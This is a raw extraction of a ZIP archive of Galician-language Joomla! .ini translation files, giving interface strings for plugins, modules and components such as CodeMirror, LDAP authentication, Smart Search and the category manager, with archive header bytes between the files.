PLG_SEARCH_CONTENT_XML_DESCRIPTION="Activa a busca nos artigos" PK@y>\8xP/language/gl-ES/gl-ES.plg_editors_codemirror.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CODEMIRROR_FIELD_LINENUMBERS_DESC="Amosar/Agochar os números de liña" PLG_CODEMIRROR_FIELD_LINENUMBERS_LABEL="Números de liña" PLG_CODEMIRROR_FIELD_TABMODE_DESC="Sangrar - fai que a tecla TAB axuste o sangrado do texto da selección ou da liña actual empregando regras de análise. Premendo a tecla TAB sangra a liña actual (ou selección) avanzando unidade. Premendo as teclas MAIUS+TAB retrocede unha unidade o sangrado da liña (ou selección)." PLG_CODEMIRROR_FIELD_TABMODE_LABEL="Modo do tabulador" PLG_CODEMIRROR_FIELD_VALUE_TABMODE_INDENT="Sangrar" PLG_CODEMIRROR_FIELD_VALUE_TABMODE_SHIFT="Maiúscula" PLG_CODEMIRROR_XML_DESCRIPTION="Este engadido carga o editor CodeMirror." PLG_EDITORS_CODEMIRROR="Editor - CodeMirror" PK@y>\N!4language/gl-ES/gl-ES.plg_authentication_ldap.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_LDAP="Autenticación - LDAP" PLG_LDAP_XML_DESCRIPTION="Manexa a autenticación de usuario contra un servidor LDAP.
              Aviso! deber ter polo menos un engadido de autenticación activado ou perderá o acceso ao seu sitio." PK@y>\ct1language/gl-ES/gl-ES.plg_finder_newsfeeds.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_NEWSFEEDS="Busca intelixente - Semente de novas" PLG_FINDER_NEWSFEEDS_ERROR_ACTIVATING_PLUGIN="Non foi posíbel activar automaticamente o engadido \"_QQ_\"Busca intelixente - Sementes de novas\"_QQ_\"" PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION="Este engadido indexa as sementes de novas Joomla!" PK@y>\W฻*language/gl-ES/gl-ES.mod_quickicon.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_QUICKICON="Iconas de acceso directo" MOD_QUICKICON_XML_DESCRIPTION="Este módulo amosa as iconas de acceso que son visíbeis no panel de administración." MOD_QUICKICON_LAYOUT_DEFAULT="Predeterminado" PK@y>\wr0language/gl-ES/gl-ES.plg_editors-xtd_article.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_ARTICLE_BUTTON_ARTICLE="Artigo" PLG_ARTICLE_XML_DESCRIPTION="Amosa un botón que permite inserir ligazóns de artigos dentro dun artigo. Amosa unha xanela emerxente que permite escoller o artigo" PLG_EDITORS-XTD_ARTICLE="Botón - Artigo" PK@y>\Uӎ+language/gl-ES/gl-ES.plg_content_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_JOOMLA="Contido - Joomla!" PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_DESC="Comprobar que as categorías están baleiras antes de ser eliminadas." PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_LABEL="Comprobar a eliminación de categorías" PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_DESC="Avisar por correo a usuarios que marcaran a opción 'Enviar correo' cando un novo artigo é enviado á portada do sitio." PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_LABEL="Enviar correo por cada novo artigo na portada." PLG_CONTENT_JOOMLA_XML_DESCRIPTION="Fai o procesamento de categorías para as extensións do núcleo, envía un correo cando se entrega un novo artigo na portada." PK@y>\Vlanguage/gl-ES/index.htmlnuW+A PK@y>\3'language/gl-ES/gl-ES.tpl_hathor.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM HATHOR="Hathor tema de administración" TPL_HATHOR_POSITION_CP_SHELL="Non usado" TPL_HATHOR_POSITION_CPANEL="Panel de administración" TPL_HATHOR_POSITION_DEBUG="Depurar" TPL_HATHOR_POSITION_FOOTER="Pé de páxina" TPL_HATHOR_POSITION_ICON="Iconas de acceso directo" TPL_HATHOR_POSITION_LOGIN="Identificarse" TPL_HATHOR_POSITION_MENU="Menú" TPL_HATHOR_POSITION_STATUS="Estado" TPL_HATHOR_POSITION_SUBMENU="Submenú" TPL_HATHOR_POSITION_TITLE="Título" TPL_HATHOR_POSITION_TOOLBAR="Barra de ferramentas" TPL_HATHOR_XML_DESCRIPTION="Hathor é un tema para administración do Joomla!. Os ficheiros CSS de cor tamén poden ser utilizados para personalizar a cor." PK@y>\5؀kk1language/gl-ES/gl-ES.plg_search_newsfeeds.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_NEWSFEEDS="Buscar - Sementes de novas" PLG_SEARCH_NEWSFEEDS_XML_DESCRIPTION="Activa a busca nas sementes de novas" PK@y>\ۈ<<.language/gl-ES/gl-ES.plg_search_categories.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CATEGORIES_CATEGORIES="Categorías" PLG_SEARCH_CATEGORIES="Buscar - Categorías" PLG_SEARCH_CATEGORIES_FIELD_SEARCHLIMIT_DESC="Número de elementos da busca a devolver" PLG_SEARCH_CATEGORIES_FIELD_SEARCHLIMIT_LABEL="Límite da busca" PLG_SEARCH_CATEGORIES_XML_DESCRIPTION="Activa a busca na información das categorías" PK@y>\vi{{*language/gl-ES/gl-ES.com_installer.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_INSTALLER="Xestor de instalación" COM_INSTALLER_XML_DESCRIPTION="Instalador de compoñentes para engadir, borrar e actualizar extensións" PK@y>\([2language/gl-ES/gl-ES.plg_finder_categories.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CATEGORIES="Busca intelixente - Categorías" PLG_FINDER_CATEGORIES_ERROR_ACTIVATING_PLUGIN="Non foi posíbel activar o engadido \"_QQ_\"Busca intelixente - Categorías\"_QQ_\"" PLG_FINDER_CATEGORIES_XML_DESCRIPTION="Este engadido indexa as categorías de Joomla!" PK@y>\B  'language/gl-ES/gl-ES.com_finder.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_FINDER="Busca intelixente" COM_FINDER_XML_DESCRIPTION="Busca intelixente" COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TEXT="Presentación predeterminada da busca." COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TITLE="Buscar" COM_FINDER_SEARCH_FILTER_SEARCH_LABEL="Filtro de busca" COM_FINDER_SEARCH_FILTER_SEARCH_DESC="Seleccionar un filtro de busca limitará as buscas enviadas ao usar o filtro seleccionado." COM_FINDER_SEARCH_SEARCH_QUERY_LABEL="Consulta de busca" COM_FINDER_SEARCH_SEARCH_QUERY_DESC="Inserindo termos de busca fará que este elemento de menú devolva automaticamente os resultados para os termos predefinidos." COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL="Lonxitude da descrición" COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESC="O texto de descrición para os resultados da busca será truncado para o cumprimento de caracteres especificado." COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL="Expandir as opcións de busca avanzada" COM_FINDER_CONFIG_EXPAND_ADVANCED_DESC="Alterne se as opcións de busca avanzada deberían ser expandidas de xeito predeterminado." COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL="Busca avanzada" COM_FINDER_CONFIG_SHOW_ADVANCED_DESC="Definir se os usuarios deberían poder ver as opcións de busca avanzada." COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL="Descrición do resultado" COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESC="Definir se a descrición debería amosarse cos resultados de de busca." COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL="Filtros de data" COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESC="Amosar os filtros de data de comezo e fin na busca avanzada." COM_FINDER_CONFIG_SHOW_URL_LABEL="URL do resultado" COM_FINDER_CONFIG_SHOW_URL_DESC="Amosar o URL asociado ao elemento." COM_FINDER_CONFIG_SHOW_FEED_LABEL="Amosar semente" COM_FINDER_CONFIG_SHOW_FEED_DESC="Amosar a ligazón da semente" COM_FINDER_CONFIG_SHOW_FEED_TEXT_LABEL="Amosar o texto da semente" COM_FINDER_CONFIG_SHOW_FEED_TEXT_DESC="Amosar o texto asociado á semente, en caso contrario, a semente só amosa o título. " COM_FINDER_SELECT_SEARCH_FILTER="Seleccionar filtro" COM_FINDER_ALLOW_EMPTY_QUERY_LABEL="Permitir busca baleira" COM_FINDER_ALLOW_EMPTY_QUERY_DESC="Só se permiten buscas baleiras se é para ir seleccionando un filtros entre os que delimitar a busca." COM_FINDER_CONFIG_SORT_DIRECTION_DESC="Dirección na que ordenar os resultados da busca." COM_FINDER_CONFIG_SORT_DIRECTION_LABEL="Dirección de ordenación" COM_FINDER_CONFIG_SORT_ORDER_DESC="Campo polo que ordenar os resultados da busca." COM_FINDER_CONFIG_SORT_ORDER_LABEL="Campo de ordenación" COM_FINDER_CONFIG_SORT_OPTION_ASCENDING="Ascendente" COM_FINDER_CONFIG_SORT_OPTION_DESCENDING="Descendente" COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE="Lista de prezos" COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE="Relevancia" COM_FINDER_CONFIG_SORT_OPTION_START_DATE="Data" PK@y>\h%language/gl-ES/gl-ES.mod_feed.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_FEED="Amosar semente" MOD_FEED_XML_DESCRIPTION="Este módulo permite amosar as sementes subscritas" MOD_FEED_LAYOUT_DEFAULT="Predeterminado" PK@y>\~VV#language/gl-ES/gl-ES.com_cpanel.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CPANEL="Panel de administración" COM_CPANEL_XML_DESCRIPTION="Compoñente do panel de administración" PK@y>\VHH'language/gl-ES/gl-ES.com_categories.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 CATEGORIES_FIELDSET_OPTIONS="Opcións" COM_CATEGORIES="Categorías" COM_CATEGORIES_ACCESS_CREATE_DESC="Nova opción para crear accións nesta categoría e o valor calculado en base á categoría pai e permisos de grupo." COM_CATEGORIES_ACCESS_DELETE_DESC="Nova opción para borrar accións nesta categoría e o valor calculado en base á categoría pai e permisos de grupo." COM_CATEGORIES_ACCESS_EDIT_DESC="Nova opción para modificar accións nesta categoría e o valor calculado en base á categoría pai e permisos de grupo." COM_CATEGORIES_ACCESS_EDITOWN_DESC="Nova opción para modificar accións propias nesta categoría e o valor calculado en base á categoría pai e permisos de grupo." COM_CATEGORIES_ACCESS_EDITSTATE_DESC="Nova opción para modificar accións de estado nesta categoría e o valor calculado en base á categoría pai e permisos de grupo." COM_CATEGORIES_BASIC_FIELDSET_LABEL="Opcións básicas" COM_CATEGORIES_BATCH_CANNOT_CREATE="Non ten permiso para crear novas categorías nesta categoría." COM_CATEGORIES_BATCH_CANNOT_EDIT="Non ten permiso para modificar unha ou máis dunha destas categorías." COM_CATEGORIES_BATCH_CATEGORY_LABEL="Escoller categoría para mover/copiar" COM_CATEGORIES_BATCH_OPTIONS="Procesar por lotes as categorías seleccionadas" COM_CATEGORIES_BATCH_TIP="Se escolleu copiar unha categoría, aplicarase a calquera outra acción seleccionada na categoría a copiar. Se non, todas as accións serán aplicadas á categoría seleccionada." COM_CATEGORIES_CATEGORIES_BASE_TITLE="Xestor de categorías" COM_CATEGORIES_CATEGORIES_TITLE="Xestor de categorías: %s" COM_CATEGORIES_CATEGORY_ADD_TITLE="Xestor de categorías: Engadir unha nova %s categoría" COM_CATEGORIES_CATEGORY_BASE_ADD_TITLE="Xestor de categorías: Engadir nova categoría" COM_CATEGORIES_CATEGORY_BASE_EDIT_TITLE="Xestor de categorías: Modificar categoría" COM_CATEGORIES_CATEGORY_EDIT_TITLE="Xestor de categorías: Modificar a %s categoría" COM_CATEGORIES_CATEGORY_OPTIONS="Opcións de categoría" COM_CATEGORIES_DELETE_NOT_ALLOWED="Non é posíbel borrar a categoría %s. " COM_CATEGORIES_DESCRIPTION_DESC="Insira unha descrición opcional da categoría na área de texto." COM_CATEGORIES_FIELD_IMAGE_DESC="Escolla unha imaxe para esta categoría" COM_CATEGORIES_FIELD_IMAGE_LABEL="Imaxe" COM_CATEGORIES_FIELD_LANGUAGE_DESC="Asignar un idioma a esta categoría." COM_CATEGORIES_FIELD_PARENT_DESC="Seleccionar unha categoría pai" COM_CATEGORIES_FIELD_PARENT_LABEL="Pai" COM_CATEGORIES_FIELDSET_DETAILS="Detalles" COM_CATEGORIES_FIELDSET_RULES="Permisos da categoría" COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS="%d elementos están asignados a subcategorías desta categoría." COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS_1="%d elementos están asignados a unha das subcategorías desta categoría." COM_CATEGORIES_ITEMS_SEARCH_FILTER="Buscar" COM_CATEGORIES_N_ITEMS_ARCHIVED="%d categorías arquivadas con éxito" COM_CATEGORIES_N_ITEMS_ARCHIVED_1="%d categoría arquivada con éxito" COM_CATEGORIES_N_ITEMS_ASSIGNED="%d elementos están asignadas a esa categoría." COM_CATEGORIES_N_ITEMS_ASSIGNED_1="%d elemento está asignado a esta categoría." COM_CATEGORIES_N_ITEMS_CHECKED_IN_0="Ningunha categoría comprobada con éxito" COM_CATEGORIES_N_ITEMS_CHECKED_IN_1="%d categoría comprobada con éxito" COM_CATEGORIES_N_ITEMS_CHECKED_IN_MORE="%d categorías comprobadas con éxito" COM_CATEGORIES_N_ITEMS_DELETED="%d categorías borradas con éxito" COM_CATEGORIES_N_ITEMS_DELETED_1="%d categoría borrada con éxito" COM_CATEGORIES_N_ITEMS_PUBLISHED="%d categorías publicadas con éxito" COM_CATEGORIES_N_ITEMS_PUBLISHED_1="%d categoría publicada con éxito" COM_CATEGORIES_N_ITEMS_TRASHED="%d categorías enviadas ao lixo con éxito" COM_CATEGORIES_N_ITEMS_TRASHED_1="%d categoría enviada ao lixo con éxito" COM_CATEGORIES_N_ITEMS_UNPUBLISHED="%d categorías despublicadas con éxito" COM_CATEGORIES_N_ITEMS_UNPUBLISHED_1="%d categoría despublicada con éxito" COM_CATEGORIES_REBUILD_FAILURE="Fallou ao reconstruír os datos da árbore de categorías." COM_CATEGORIES_REBUILD_SUCCESS="Os datos da árbore de categorías foron reconstruídos con éxito." COM_CATEGORIES_SAVE_SUCCESS="A categoría gardouse con éxito" COM_CATEGORIES_XML_DESCRIPTION="Este compoñente xestiona as categorías" JGLOBAL_NO_ITEM_SELECTED="Sen categorías seleccionadas" JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="Non se pode mudar o estado de publicado cando a categoría pai ten un estado menor." JLIB_HTML_ACCESS_SUMMARY_DESC="Aquí ten unha visión dos permisos estabelecidos para esta categoría. Prema sobre as lapelas para personalizar estas opcións por acción." JLIB_RULES_SETTING_NOTES_ITEM="1. Se muda a configuración, esta aplicarase a este e todos os niveis inferiores (grupos, compoñentes ou contidos). Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\m(language/gl-ES/gl-ES.mod_popular.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_POPULAR_XML_DESCRIPTION="Este módulo amosa unha lista dos actuais artigos publicados máis populares. Algúns dos que se amosan poden ter expirado e seguir sendo os máis populares." MOD_POPULAR="Artigos populares" MOD_POPULAR_LAYOUT_DEFAULT="Predeterminado" PK@y>\GAA2language/gl-ES/gl-ES.plg_content_pagebreak.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGEBREAK="Contido - Quebra de páxina" PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION="Permite a creación dun artigo paxinado con unha táboa de contidos opcional.

              Inserir quebra de páxina a traveso do uso do botón quebra de páxina atopado normalmente debaixo da caixa de texto do artigo. A posición da quebra de páxina no artigo amosarase no editor como unha simple liña horizontal.

              O texto amosado dependera das opcións escollidas e pode ser tanto o título, o texto alternativo (se é fornecido) ou números de páxina.

              O código HTML usado é:
              <hr class=\"_QQ_\"system-pagebreak\"_QQ_\" />
              <hr class=\"_QQ_\"system-pagebreak\"_QQ_\" title=\"_QQ_\"The page title\"_QQ_\" /> or
              <hr class=\"_QQ_\"system-pagebreak\"_QQ_\" alt=\"_QQ_\"The first page\"_QQ_\" /> or
              <hr class=\"_QQ_\"system-pagebreak\"_QQ_\" title=\"_QQ_\"The page title\"_QQ_\" alt=\"_QQ_\"The first page\"_QQ_\" /> or
              <hr class=\"_QQ_\"system-pagebreak\"_QQ_\" alt=\"_QQ_\"The first page\"_QQ_\" title=\"_QQ_\"The page title\"_QQ_\" />" PK@y>\K$language/gl-ES/gl-ES.mod_toolbar.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TOOLBAR="Barra de ferramentas" MOD_TOOLBAR_XML_DESCRIPTION="Este módulo amosa as iconas da barra de ferramentas empregados para controlar as accións dentro da administración." PK@y>\oq(language/gl-ES/gl-ES.plg_user_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_USER_JOOMLA="Usuario - Joomla!" PLG_USER_JOOMLA_FIELD_AUTOREGISTER_DESC="Crear automaticamente usuarios rexistrados cando sexa posíbel" PLG_USER_JOOMLA_FIELD_AUTOREGISTER_LABEL="Crear automaticamente usuarios" PLG_USER_JOOMLA_FIELD_MAILTOUSER_DESC="Activar ou desactivar o correo electrónico de notificación ao usuario co nome de usuario e clave cando un administrador crea unha conta." PLG_USER_JOOMLA_FIELD_MAILTOUSER_LABEL="Notificación de correo ao usuario" PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY="Ola %s:\n\n\nFuches engadido como usuario a %s por un administrador.\n\nEste correo contén o teu nome de usuario e clave para identificarte en %s\n\nNome de usuario: %s\nClave de usuario: %s\n\n\nEste é un correo xerado automaticamente co propósito de informalo. Non responda ao mesmo, se ten dúbidas contacte co administrador do sitio." PLG_USER_JOOMLA_NEW_USER_EMAIL_SUBJECT="Detalles do novo usuario" PLG_USER_JOOMLA_XML_DESCRIPTION="Manexa a sincronización de usuarios predeterminada de Joomla!" PK@y>\ W 0language/gl-ES/gl-ES.plg_authentication_ldap.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_LDAP="Autenticación - LDAP" PLG_LDAP_FIELD_AUTHMETHOD_DESC="O método de autorización para validar credenciais" PLG_LDAP_FIELD_AUTHMETHOD_LABEL="Método de autorización" PLG_LDAP_FIELD_BASEDN_DESC="A base DN do seu servidor LDAP, por exemplo o=meudominio.com" PLG_LDAP_FIELD_BASEDN_LABEL="Base DN" PLG_LDAP_FIELD_EMAIL_DESC="O atributo LDAP que contén o enderezo de correo dos usuarios" PLG_LDAP_FIELD_EMAIL_LABEL="Mapear: correo" PLG_LDAP_FIELD_FULLNAME_DESC="O atributo LDAP que contén o nome completo dos usuarios" PLG_LDAP_FIELD_FULLNAME_LABEL="Mapear: nome completo" PLG_LDAP_FIELD_HOST_DESC="Por exemplo: openldap.mycompany.org" PLG_LDAP_FIELD_HOST_LABEL="Servidor" PLG_LDAP_FIELD_NEGOCIATE_DESC="Negociar o cifrado TLS co servidor LDAP. Isto require que todo o tráfico para e do meu servidor LDAP sexa cifrado." PLG_LDAP_FIELD_NEGOCIATE_LABEL="Negociar TLS" PLG_LDAP_FIELD_PASSWORD_DESC="A clave de conexión é a clave da conta administrativa. Isto é usado na autenticación 'Autenticar e ligar' e 'Autenticar e comparar'." PLG_LDAP_FIELD_PASSWORD_LABEL="Clave de conexión" PLG_LDAP_FIELD_PORT_DESC="O porto predeterminado é o 389" PLG_LDAP_FIELD_PORT_LABEL="Porto" PLG_LDAP_FIELD_REFERRALS_DESC="Esta opción estabelece o valor do sinal LDAP_OPT_REFERRALS. Para servidores Windows 2003 ten que definir como 'Non'." PLG_LDAP_FIELD_REFERRALS_LABEL="Seguimento de envíos" PLG_LDAP_FIELD_SEARCHSTRING_DESC="Unha cadea de consulta a usar para a busca dun usuario. A palabra chave [search] é dinamicamente substituída polo nome do usuario autenticado. Un exemplo de cadea e: uid=[search]. Poden ser usadas varias cadeas separadas por vírgula. Só se usa cando se realizan buscas." PLG_LDAP_FIELD_SEARCHSTRING_LABEL="Cadea de busca" PLG_LDAP_FIELD_UID_DESC="Atributo LDAP que contén o identificador do usuario identificado. Para 'Active Directory' é 'sAMAccountName'." PLG_LDAP_FIELD_UID_LABEL="Mapear: ID de usuario" PLG_LDAP_FIELD_USERNAME_DESC="O nome de usuario e clave de conexión define os parámetros de conexión para a fase 'DN lookup'. Hai dispoñíbeis dúas opcións: - 'DN lookup' anónimo: deixa ámbolos campos en branco. - Conexión administrativa: o usuario de conexión é o nome de usuario dunha conta administrativa, por exemplo o administrador e a clave se conexión é a clave actual da súa conta de administración." PLG_LDAP_FIELD_USERNAME_LABEL="Usuario de conexión" PLG_LDAP_FIELD_USERSDN_DESC="A palabra chave [username] é dinamicamente substituída polo nome de usuario co que se identificou. Un exemplo de consulta é: uid[username], dc=my-domain, dc=com. Poden ser usadas varias cadeas separándoas por punto e vírgula. Só se usa para ligazóns directas." PLG_LDAP_FIELD_USERSDN_LABEL="DN de usuario" PLG_LDAP_FIELD_V3_DESC="O predeterminado é LDAP2, máis as últimas versións de OpenLdap requiren que os clientes empreguen LDAPV3" PLG_LDAP_FIELD_V3_LABEL="LDAP V3" PLG_LDAP_FIELD_VALUE_BINDSEARCH="Ligar e buscar" PLG_LDAP_FIELD_VALUE_BINDUSER="Ligar directamente como usuario" PLG_LDAP_XML_DESCRIPTION="Manexa a autenticación de usuario contra un servidor LDAP.
              Aviso! deber ter polo menos un engadido de autenticación activado ou perderá o acceso ao seu sitio." PK@y>\*language/gl-ES/gl-ES.plg_content_geshi.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_GESHI="Contido - Realzado de código (GeSHi)" PLG_CONTENT_GESHI_XML_DESCRIPTION="Amosa código realzado en artigos, baseado no motor de realzado GeSHi" PK@y>\.language/gl-ES/gl-ES.plg_content_geshi.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_GESHI="Contido - Realzado de código (GeSHi)" PLG_CONTENT_GESHI_XML_DESCRIPTION="Amosa código realzado en artigos, baseado no motor de realzado GeSHi" PK@y>\Npp,language/gl-ES/gl-ES.plg_user_joomla.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_USER_JOOMLA="Usuario - Joomla!" PLG_USER_JOOMLA_XML_DESCRIPTION="Manexa a sincronización de usuarios predeterminada de Joomla!" PK@y>\Vz``)language/gl-ES/gl-ES.com_redirect.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_REDIRECT="Reencamiñar" COM_REDIRECT_XML_DESCRIPTION="Este compoñente xestiona o reencamiñamento de ligazóns" PK@y>\woo6language/gl-ES/gl-ES.plg_quickicon_extensionupdate.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_EXTENSIONUPDATE="Iconas rápidas - Notificación de actualización de extensións Joomla!" PLG_QUICKICON_EXTENSIONUPDATE_CHECKING="Verificar extensións
              actualización de estado" PLG_QUICKICON_EXTENSIONUPDATE_ERROR="Extensións descoñecidas
              actualización de estado" PLG_QUICKICON_EXTENSIONUPDATE_GROUP_DESC="O grupo deste engadido (este valor é comparado co valor de grupo usado nos módulos de iconas rápidas para inxectar iconas)" PLG_QUICKICON_EXTENSIONUPDATE_GROUP_LABEL="Grupo" PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND="Hai actualizacións dispoñíbeis
              %s" PLG_QUICKICON_EXTENSIONUPDATE_UPTODATE="Todas as actualizacións está ao día" PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION="Verifica se hai actualizacións das extensións de terceiros instaladas e notifícao ao acceder ao panel de administración. " PK@y>\nj#.language/gl-ES/gl-ES.plg_editors-xtd_image.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_IMAGE="Botón - Imaxe" PLG_IMAGE_BUTTON_IMAGE="Imaxe" PLG_IMAGE_XML_DESCRIPTION="Amosa un botón que permite inserir imaxes dentro dun artigo. Amosa unha xanela emerxente que permite configurar as propiedades de imaxe e subir novos ficheiros de imaxe" PK@y>\TT*language/gl-ES/gl-ES.com_languages.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LANGUAGES="Xestor de idiomas" COM_LANGUAGES_XML_DESCRIPTION="Compoñente para a xestión de idiomas" PK@y>\4language/gl-ES/gl-ES.plg_user_contactcreator.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_CONTACTCREATOR_XML_DESCRIPTION="Engadido para crear automaticamente a información do contacto para novos usuarios" PLG_USER_CONTACTCREATOR="Usuario - Creador de contactos" PK@y>\Y^#language/gl-ES/gl-ES.mod_custom.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_CUSTOM="Personalizar HTML" MOD_CUSTOM_FIELD_PREPARE_CONTENT_DESC="Opcionalmente dispón o contido co engadido de contido do Joomla." 